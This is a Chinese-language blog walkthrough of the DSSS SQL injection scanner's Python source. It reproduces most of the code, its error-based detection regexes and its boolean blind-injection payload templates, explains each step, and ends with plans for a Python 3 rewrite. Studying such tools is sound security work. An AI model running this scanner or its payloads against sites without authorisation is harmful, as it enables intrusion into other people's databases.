项目地址:https://github.com/stamparm/DSSS
功能:一款小型注入工具
代码如下URL:https://github.com/stamparm/DSSS/blob/master/dsss.py
1 if __name__ == "__main__": 2 print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) 3 parser = optparse.OptionParser(version=VERSION) 4 parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")") 5 parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")") 6 parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value") 7 parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value") 8 parser.add_option("--referer", dest="referer", help="HTTP Referer header value") 9 parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") 10 options, _ = parser.parse_args() 11 if options.url: 12 init_options(options.proxy, options.cookie, options.ua, options.referer) 13 result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data) 14 print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no") 15 else: 16 parser.print_help()
用parser这个库 来加载参数,看到第11行,如果请求的参数中存在url才往下执行这个if命令,否则打印帮助。
看到第12行。用init_options() 这个行数来加载 proxy(代理),cookie,ua,referer。
1 def init_options(proxy=None, cookie=None, ua=None, referer=None): 2 globals()["_headers"] = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer)))) 3 urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)
解释第二行:globals() 返回的是全局变量的字典,修改其中的内容,值会真正的发生改变。所以在这里修改的是_headers字典的值,接在在看后面的值,看起来好像很复杂,其实用下面四句话就能理解了。
iterable=(('aa', None), ('bb', '22'), ('cc', '33')) x = lambda _: _[1] z = dict(item for item in iterable if x(item)) print(z)
判断_[1] 是否为FALSE,FALSE就舍弃。ps:这部分学习到了 还能这么用filter+lambda来操作dict。
往回看到第三行,存在proxy(代理)就添加到handler中去。这个函数讲完了,继续往回追,代码进入到了scan_page()函数中,这个函数应该是重点了。
result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
根据逗号判断传了两参数进去 一个是options.url,一个是options.data
1 def scan_page(url, data=None): 2 retval, usable = False, False 3 url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data 4 try: 5 for phase in (GET, POST): 6 original, current = None, url if phase is GET else (data or "") 7 for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current): 8 vulnerable, usable = False, True 9 print "* scanning %s parameter '%s'" % (phase, match.group("parameter")) 10 original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current)) 11 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL)))))) 12 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered) 13 for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]): 14 if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I): 15 print " (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms) 16 retval = vulnerable = True 17 vulnerable = False 18 for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)): 19 if not vulnerable: 20 template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/") 21 payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False)) 22 contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True)) 23 if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])): 24 if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)): 25 vulnerable = True 26 else: 27 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True)) 28 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10 29 if vulnerable: 30 print " (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True]) 31 retval = True 32 if not usable: 33 print " (x) no usable GET/POST parameters found" 34 except KeyboardInterrupt: 35 print "\r (x) Ctrl-C pressed" 36 return retval
一句一句来分析:
url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data 寻找等号后面是&或结尾符 替换成=1 ,整句的意思就是如果存在url就用正则去替换,否则返回url,
\g<name>
对象的是(?p<name>...)
,\g<number>
会使用对应的数字组,因此\g<2>
与\2
是等同的。但是不会引起歧义,例如\g<2>0
会被翻译成\20
而不是2
加上一个字符0
,\g<0>
代替整个匹配的字符串for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current): 大概的意思是匹配以?或&开头的,然后匹配parameter和value,其中parameter为不匹配以下划线_开头的字符串,其中字符串为[a-zA-Z0-9_],value为不包含&和#的字符串。
original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current)) 进入了_retrieve_content()函数,or 后面的这段理解起来就是 如果是GET方式,就返回_retrieve_content(current, data) ,而这里的current为url,data为None
如果是POST方式:返回_retrieve_content(url, current) 这里的url是url,而current为POST_Body,也就是POST过来的数据。
下面来看_retrieve_content()函数,一次性讲完。
def _retrieve_content(url, data=None): retval = {HTTPCODE: httplib.OK} try: req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))), data, globals().get("_headers", {})) retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read() except Exception as ex: retval[HTTPCODE] = getattr(ex, "code", None) retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "") retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML] retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I) retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML]) return retval
--------------------------------------------------------------------------------------
url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url)) 生成器:从右往左开始读, 查找第一个?出现的位置并返回索引值,
然后判断?号后面的字符串是否存在空格,空格就替换成%20
globals().get("_headers", {}) 判断是否存在_header字典,不存在返回空{} ,
然后去请求,返回请求后的html_content。
1 retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML] 2 retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) 3 match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I) 4 retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None 5 retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
接着来了几个判断,如果html_content中有存在BLOCKED_IP_REGEX关键字的话,将html_content设为空''
BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)" #这里可定制国内的防火墙关键字。
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) #匹配and RANDINT ,其中and RANDINT中间不能有<号,如果匹配到则把匹配到的替换成__REFLECTED__
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I) #匹配标题,并且标题中不能出现<号
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", content) #将大部分的标签替换成空格
最后返回retval赋值给original,最终包含这几个:
HTML,TEXT,TITLE,HTTPCODE
接着继续往下看:
tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL)))))) content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)给参数添加额外的随机值,编码额外的随机值 随机值在这四个字符 TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') %22%28%29%27
然后给添加后的随机值参数继续进行url请求
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]): DBMS_ERRORS = { # regular expressions used for DBMS recognition based on error message response "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."), "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."), "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."), "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"), "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"), "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("), "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"), "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"), }
大概就是轮训每个value,将key对应轮训的value。
接着往下看:
if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I): print(" (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)) retval = vulnerable = True
vulnerable默认为False , 去寻找特殊字符请求的url content,regex出现在content中,还有regex没出现在正常请求的content中,那么就代表存在注入。
并设置retval和vulnerable为True,vulnerable为True以后不再进入这个if判断。
继续往下:
for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):
PREFIXES = (" ", ") ", "' ", "') ")
BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)")
SUFFIXES = ("", "-- -", "#", "%%16")生成payload,总的是32个组合,64个,
1 if not vulnerable: 2 template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/") 3 payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False)) 4 contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True)) 5 if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])): 6 if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)): 7 vulnerable = True 8 else: 9 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True)) 10 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10 11 if vulnerable: 12 print(" (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True])) 13 retval = True
第二行把inline_comment 为True的空格替换成/**/ ,也就是一半payload是空格,一半payload是/**/
第三行给template 赋随机的数字然后url编码(对%不编码),接着再次分 and 1=1 和and 1=2 然后添加到url参数中,并标记False和True,到现在总的payload有120个
第四行带着and 1=1 和 and 1=2 类似的payload去请求返回contents,其中and 1=1是contents[True], and 1=2是contents[False]
第五行看三个content的返回状态值。如果三次请求中有个状态值大于500就返回False
第六行的判断大概是下面两个,满足其一就代表有注入,通过状态码的不同和标题的不同来判断,也就是正常请求和and 1=1 的请求的状态码一样 and 1=2 的状态码不一样,还有正常请求和and 1=1 的TITLE一样,和 and 1=2不一样。 这里的五六行通过all和any来做选择,可以学一下。
original[HTTPCODE] == contents[True][HTTPCODE] != contents[False][HTTPCODE]
original[TITLE] == contents[True][TITLE] != contents[False][TITLE]
如果通过第六行对比状态码和标题返回是False的话,那么就对三个content进行对比,返回其相似程度。
ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True)) vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
1.两次中每次的相似度都不为0,
2.并且最小的相似度和最大的相似度要在0.95之间,
3.还有就是两者的相似度之差要大于0.095 。
同时满足这三个条件也算是存在注入
到这里就分析完了,来回想下这个工具的大概思路。
程序运行开始,可能传进来的值总结来说有4个:url,header ,post_data , proxy 。ps:这里能改进的地方就是多穿一个method进来,让程序直接分辨出是GET,POST
然后对其进行参数分割,分两块:
1.get的参数分割
2.post_data的参数分割。
分割完如果没有值的参数补上参数值等于1,然后第一次去请求,记录下请求的content值,title值,状态码, content的过滤值(这里指过滤<>里面的值,大概是下面这段正则
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
)
每次的请求都会记录下这四个值,
这时候会对参数添加 ()"' 这四个字符串随机组合,如果返回的页面有存在 DBMS_ERRORS ,那么就存在报错注入,这时候就可以停止后面的检测了,但是他没停下来,改的时候可以注意下这里是否需要停下来不检测后面的。
接着就开始生成payload,大概有32个payload,但是不需要都跑完,跑到一次正确的后面的就不用在跑了。
这里他的payload又分为两种:
1.存在空格的payload
2.将空格替换成/**/的payload
这时候要请求的payload又变成了64个。
然后请求的时候对 and 1=1 and 1=2 各检测一次来对比,请求有三个。
1.第一次正常的请求
2.请求参数加and 1=1
3.请求参数加and 1=2
1.通过请求这三次的TITLE值来对比, 第一个和第二个相同,第二个和第三个的TITLE值不相同,就判断为注入。
2.通过请求这三次的HTTPCODE值来对比,第一个和第二个相同,第二个和第三个的HTTPCODE值不相同,就判断为注入。
3.如果上面两种方式没通过,通过请求这三次的content的过滤值来对比:
1.两次中每次的相似度都不为0,
2.并且最小的相似度和最大的相似度要在0.95之间,
3.还有就是两者的相似度之差要大于0.095 。
上面三种方式有一个通过就算注入。
如果第一个参数不存在注入,他的payload有64个,那么总的请求数为,1+1+128 = 130次,如果有两个参数都不存在注入,那他的请求数为1+1+128+128 =258 ,还是比较废资源的。
如果用python3.6重写,那么要注意的地方就是上面的请求数量,还有对于多个参数如何去进行请求来加快寻找出注入,盲注怎么来。
简写下思路,一个好的注入工具就是 能准确判断存在注入的前提下,减少对网站的请求数。
修改成支持python3.6的,现在就开始写,先发出来。